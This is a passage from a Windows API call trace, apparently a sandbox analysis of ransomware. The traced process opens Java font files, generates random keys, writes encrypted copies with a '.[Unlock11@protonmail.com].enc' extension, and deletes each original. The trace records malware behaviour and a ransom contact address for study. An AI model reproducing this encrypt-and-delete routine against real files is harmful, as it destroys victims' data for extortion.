hHeap=0x2ad0000) returned 1 [0132.803] GetLastError () returned 0x0 [0132.803] GetLastError () returned 0x0 [0132.803] GetLastError () returned 0x0 [0132.803] GetCurrentThreadId () returned 0x9b0 [0132.803] GetLastError () returned 0x0 [0132.803] GetLastError () returned 0x0 [0132.803] GetLastError () returned 0x0 [0132.803] GetLastError () returned 0x0 [0132.803] GetLastError () returned 0x0 [0132.803] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0132.804] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4d9c8)) returned 1 [0132.804] GetLastError () returned 0x0 [0132.804] GetCurrentThreadId () returned 0x9b0 [0132.804] GetLastError () returned 0x0 [0132.804] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbad0 | out: hHeap=0x2ad0000) returned 1 [0132.804] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d674 | out: pbBuffer=0x366d674) returned 1 [0132.804] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0132.804] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3df0 [0132.804] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0132.804] GetCurrentThreadId () returned 0x9b0 [0132.804] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cd90 [0132.805] GetLastError () returned 0x0 [0132.805] GetLastError () returned 0x0 [0132.805] GetLastError () returned 0x0 [0132.805] GetLastError () returned 0x0 [0132.805] GetCurrentThreadId () returned 0x9b0 [0132.805] GetLastError () returned 0x0 [0132.805] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cd90 | out: hHeap=0x2ad0000) returned 1 [0132.805] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cd90 [0132.805] GetCurrentThreadId () returned 0x9b0 [0132.805] GetLastError () returned 0x0 [0132.806] GetLastError () returned 0x0 [0132.806] GetLastError () returned 0x0 [0132.806] GetLastError () returned 0x0 [0132.806] GetCurrentThreadId () returned 0x9b0 [0132.806] GetLastError () returned 0x0 [0132.806] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cd90 | out: hHeap=0x2ad0000) returned 1 [0132.806] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x35d6398 [0132.806] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a3df0 | out: hHeap=0x2ad0000) returned 1 [0132.806] GetLastError () returned 0x0 [0132.806] GetLastError () returned 0x0 [0132.806] GetLastError () returned 0x0 [0132.807] GetLastError () returned 0x0 [0132.807] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0132.807] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d64b8 [0132.807] GetLastError () returned 0x0 [0132.807] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0132.807] GetFileType (hFile=0x39c) returned 0x1 [0132.807] GetLastError () returned 0x0 [0132.807] GetCurrentThreadId () returned 0x9b0 [0132.807] GetLastError () returned 0x0 [0132.808] GetFileType (hFile=0x39c) returned 0x1 [0132.808] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0132.808] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.808] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.808] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.808] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.808] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.808] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.808] GetLastError () returned 0x0 [0132.808] GetCurrentThreadId () returned 0x9b0 [0132.808] GetLastError () returned 0x0 [0132.809] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d64b8 | out: hHeap=0x2ad0000) returned 1 [0132.809] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbbc0 | out: hHeap=0x2ad0000) returned 1 [0132.809] GetLastError () returned 0x0 [0132.809] GetLastError () returned 0x0 [0132.809] GetLastError () returned 0x0 [0132.809] GetLastError () returned 0x0 [0132.809] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0132.809] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d63a8 [0132.809] GetLastError () returned 0x0 [0132.809] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0132.810] GetFileType (hFile=0x3ac) returned 0x1 [0132.810] GetLastError () returned 0x0 [0132.810] GetCurrentThreadId () returned 0x9b0 [0132.810] GetLastError () returned 0x0 [0132.810] GetFileType (hFile=0x3ac) returned 0x1 [0132.810] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0132.810] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.810] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.810] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.810] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.811] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.811] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.811] GetLastError () returned 0x0 [0132.811] GetCurrentThreadId () returned 0x9b0 [0132.811] GetLastError () returned 0x0 [0132.811] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d63a8 | out: hHeap=0x2ad0000) returned 1 [0132.811] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0132.811] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0132.811] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0132.811] GetLastError () returned 0x0 [0132.811] GetLastError () returned 0x0 [0132.811] GetCurrentThreadId () returned 0x9b0 [0132.812] GetLastError () returned 0x0 [0132.812] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0132.812] GetLastError () returned 0x0 [0132.812] GetLastError () returned 0x0 [0132.812] GetCurrentThreadId () returned 0x9b0 [0132.812] GetLastError () returned 0x0 [0132.812] GetLastError () returned 0x0 [0132.814] GetLastError () returned 0x0 [0132.814] GetCurrentThreadId () returned 0x9b0 [0132.814] GetLastError () returned 0x0 [0132.815] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6398 | out: hHeap=0x2ad0000) returned 1 [0132.815] GetCurrentThreadId () returned 0x9b0 [0132.815] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0132.815] GetLastError () returned 0x0 [0132.815] GetLastError () returned 0x0 [0132.815] GetLastError () returned 0x0 [0132.815] GetLastError () returned 0x0 [0132.815] GetCurrentThreadId () returned 0x9b0 [0132.815] GetLastError () returned 0x0 [0132.816] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.816] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0132.816] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0132.816] GetLastError () returned 0x0 [0132.818] GetLastError () returned 0x0 [0132.818] GetCurrentThreadId () returned 0x9b0 [0132.818] GetLastError () returned 0x0 [0132.819] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.819] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0132.819] GetLastError () returned 0x0 [0132.819] GetLastError () returned 0x0 [0132.820] GetCurrentThreadId () returned 0x9b0 [0132.820] GetLastError () returned 0x0 [0132.820] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.820] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6408 [0132.820] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6498 | out: hHeap=0x2ad0000) returned 1 [0132.820] GetCurrentThreadId () returned 0x9b0 [0132.820] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0132.820] GetLastError () returned 0x0 [0132.821] GetLastError () returned 0x0 [0132.821] GetLastError () returned 0x0 [0132.821] GetLastError () returned 0x0 [0132.821] GetCurrentThreadId () returned 0x9b0 [0132.821] GetLastError () returned 0x0 [0132.821] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.821] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0132.821] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0132.821] GetLastError () returned 0x0 [0132.822] GetLastError () returned 0x0 [0132.822] GetCurrentThreadId () returned 0x9b0 [0132.822] GetLastError () returned 0x0 [0132.823] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.823] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0132.823] GetLastError () returned 0x0 [0132.823] GetLastError () returned 0x0 [0132.824] GetCurrentThreadId () returned 0x9b0 [0132.824] GetLastError () returned 0x0 [0132.825] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.825] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6398 [0132.825] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6408 | out: hHeap=0x2ad0000) returned 1 [0132.825] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0132.825] GetCurrentThreadId () returned 0x9b0 [0132.825] GetLastError () returned 0x0 [0132.825] GetLastError () returned 0x0 [0132.825] GetLastError () returned 0x0 [0132.826] GetLastError () returned 0x0 [0132.826] GetCurrentThreadId () returned 0x9b0 [0132.826] GetLastError () returned 0x0 [0132.826] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.826] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0132.826] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0132.826] GetLastError () returned 0x0 [0132.827] GetLastError () returned 0x0 [0132.827] GetCurrentThreadId () returned 0x9b0 [0132.827] GetLastError () returned 0x0 [0132.827] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.827] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0132.828] GetLastError () returned 0x0 [0132.828] GetLastError () returned 0x0 [0132.828] GetCurrentThreadId () returned 0x9b0 [0132.828] GetLastError () returned 0x0 [0132.828] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.828] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d63a8 [0132.828] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6398 | out: hHeap=0x2ad0000) returned 1 [0132.828] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0132.828] GetCurrentThreadId () returned 0x9b0 [0132.829] GetLastError () returned 0x0 [0132.829] GetLastError () returned 0x0 [0132.829] GetLastError () returned 0x0 [0132.829] GetLastError () returned 0x0 [0132.829] GetCurrentThreadId () returned 0x9b0 [0132.829] GetLastError () returned 0x0 [0132.829] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.829] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0132.830] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0132.830] GetLastError () returned 0x0 [0132.831] GetLastError () returned 0x0 [0132.831] GetCurrentThreadId () returned 0x9b0 [0132.831] GetLastError () returned 0x0 [0132.831] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.831] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0132.831] GetLastError () returned 0x0 [0132.831] GetLastError () returned 0x0 [0132.831] GetCurrentThreadId () returned 0x9b0 [0132.831] GetLastError () returned 0x0 [0132.831] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.831] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0xd9e5) returned 0x36f8548 [0132.832] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6448 [0132.832] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d63a8 | out: hHeap=0x2ad0000) returned 1 [0132.832] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xd9e8) returned 0x37bf790 [0132.832] GetCurrentThreadId () returned 0x9b0 [0132.832] GetLastError () returned 0x0 [0132.832] GetLastError () returned 0x0 [0132.832] GetLastError () returned 0x0 [0132.832] GetLastError () returned 0x0 [0132.833] GetCurrentThreadId () returned 0x9b0 [0132.833] GetLastError () returned 0x0 [0132.833] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.833] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0132.833] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0132.833] GetLastError () returned 0x0 [0132.834] GetLastError () returned 0x0 [0132.835] GetCurrentThreadId () returned 0x9b0 [0132.835] GetLastError () returned 0x0 [0132.835] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.835] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0132.835] GetLastError () returned 0x0 [0132.835] GetLastError () returned 0x0 [0132.835] GetCurrentThreadId () returned 0x9b0 [0132.835] GetLastError () returned 0x0 [0132.835] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.835] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.835] GetLastError () returned 0x0 [0132.836] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0132.836] CloseHandle (hObject=0x3ac) returned 1 [0132.836] GetLastError () returned 0x0 [0132.836] GetCurrentThreadId () returned 0x9b0 [0132.836] GetLastError () returned 0x0 [0132.836] GetLastError () returned 0x0 [0132.836] CloseHandle (hObject=0x39c) returned 1 [0132.837] GetLastError () returned 0x0 [0132.837] GetCurrentThreadId () returned 0x9b0 [0132.837] GetLastError () returned 0x0 [0132.837] GetLastError () returned 0x0 [0132.837] GetLastError () returned 0x0 [0132.837] GetLastError () returned 0x0 [0132.837] GetLastError () returned 0x0 [0132.837] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf")) returned 1 [0132.840] GetLastError () returned 0x0 [0132.840] GetCurrentThreadId () returned 0x9b0 [0132.841] GetLastError () returned 0x0 [0132.841] GetCurrentThreadId () returned 0x9b0 [0132.841] GetLastError () returned 0x0 [0132.841] GetLastError () returned 0x0 [0132.841] GetLastError () returned 0x0 [0132.841] GetLastError () returned 0x0 [0132.841] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf", lpFilePart=0x9bada4*="LucidaSansRegular.ttf") returned 0x42 [0132.841] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0132.841] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0132.841] GetCurrentThreadId () returned 0x9b0 [0132.841] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0132.842] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0132.842] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382ce08 [0132.842] GetLastError () returned 0x0 [0132.842] GetLastError () returned 0x0 [0132.842] GetLastError () returned 0x0 [0132.842] GetLastError () returned 0x0 [0132.842] GetCurrentThreadId () returned 0x9b0 [0132.842] GetLastError () returned 0x0 [0132.842] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382ce08 | out: hHeap=0x2ad0000) returned 1 [0132.842] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382ce80 [0132.843] GetLastError () returned 0x0 [0132.843] GetLastError () returned 0x0 [0132.843] GetLastError () returned 0x0 [0132.843] GetLastError () returned 0x0 [0132.843] GetCurrentThreadId () returned 0x9b0 [0132.843] GetLastError () returned 0x0 [0132.843] GetCurrentThreadId () returned 0x9b0 [0132.843] GetLastError () returned 0x0 [0132.843] GetLastError () returned 0x0 [0132.843] GetLastError () returned 0x0 [0132.843] GetLastError () returned 0x0 [0132.844] GetCurrentThreadId () returned 0x9b0 [0132.844] GetLastError () returned 0x0 [0132.844] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382ce80 | out: hHeap=0x2ad0000) returned 1 [0132.844] GetLastError () returned 0x0 [0132.844] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d61e0 | out: hHeap=0x2ad0000) returned 1 [0132.844] GetLastError () returned 0x0 [0132.844] GetLastError () returned 0x0 [0132.844] GetLastError () returned 0x0 [0132.844] GetCurrentThreadId () returned 0x9b0 [0132.844] GetLastError () returned 0x0 [0132.844] GetLastError () returned 0x0 [0132.845] GetLastError () returned 0x0 [0132.845] GetLastError () returned 0x0 [0132.845] GetLastError () returned 0x0 [0132.845] GetCurrentThreadId () returned 0x9b0 [0132.845] GetLastError () returned 0x0 [0132.845] GetCurrentThreadId () returned 0x9b0 [0132.845] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0132.845] GetLastError () returned 0x0 [0132.845] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d63c0 | out: hHeap=0x2ad0000) returned 1 [0132.845] GetLastError () returned 0x0 [0132.845] GetLastError () returned 0x0 [0132.846] GetLastError () returned 0x0 [0132.846] GetCurrentThreadId () returned 0x9b0 [0132.846] GetLastError () returned 0x0 [0132.846] GetLastError () returned 0x0 [0132.846] GetLastError () returned 0x0 [0132.846] GetLastError () returned 0x0 [0132.846] GetLastError () returned 0x0 [0132.846] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0132.846] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xaa77c)) returned 1 [0132.846] GetLastError () returned 0x0 [0132.847] GetCurrentThreadId () returned 0x9b0 [0132.847] GetLastError () returned 0x0 [0132.847] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbb20 | out: hHeap=0x2ad0000) returned 1 [0132.847] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d624 | out: pbBuffer=0x366d624) returned 1 [0132.847] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0132.847] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0132.847] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0132.847] GetCurrentThreadId () returned 0x9b0 [0132.847] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cc50 [0132.847] GetLastError () returned 0x0 [0132.848] GetLastError () returned 0x0 [0132.848] GetLastError () returned 0x0 [0132.848] GetLastError () returned 0x0 [0132.848] GetCurrentThreadId () returned 0x9b0 [0132.848] GetLastError () returned 0x0 [0132.848] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cc50 | out: hHeap=0x2ad0000) returned 1 [0132.848] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cd90 [0132.848] GetCurrentThreadId () returned 0x9b0 [0132.848] GetLastError () returned 0x0 [0132.849] GetLastError () returned 0x0 [0132.849] GetLastError () returned 0x0 [0132.849] GetLastError () returned 0x0 [0132.849] GetCurrentThreadId () returned 0x9b0 [0132.849] GetLastError () returned 0x0 [0132.849] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cd90 | out: hHeap=0x2ad0000) returned 1 [0132.849] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x35d64a8 [0132.849] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a5980 | out: hHeap=0x2ad0000) returned 1 [0132.849] GetLastError () returned 0x0 [0132.850] GetLastError () returned 0x0 [0132.850] GetLastError () returned 0x0 [0132.850] GetLastError () returned 0x0 [0132.850] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0132.850] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d63c8 [0132.850] GetLastError () returned 0x0 [0132.850] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0132.850] GetFileType (hFile=0x39c) returned 0x1 [0132.850] GetLastError () returned 0x0 [0132.851] GetCurrentThreadId () returned 0x9b0 [0132.851] GetLastError () returned 0x0 [0132.851] GetFileType (hFile=0x39c) returned 0x1 [0132.851] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0132.851] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.851] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.851] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.851] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.851] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.851] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.851] GetLastError () returned 0x0 [0132.851] GetCurrentThreadId () returned 0x9b0 [0132.851] GetLastError () returned 0x0 [0132.852] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d63c8 | out: hHeap=0x2ad0000) returned 1 [0132.852] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db940 | out: hHeap=0x2ad0000) returned 1 [0132.852] GetLastError () returned 0x0 [0132.852] GetLastError () returned 0x0 [0132.852] GetLastError () returned 0x0 [0132.852] GetLastError () returned 0x0 [0132.852] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0132.852] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d63f8 [0132.852] GetLastError () returned 0x0 [0132.852] CreateFileA (lpFileName="C:\\Program 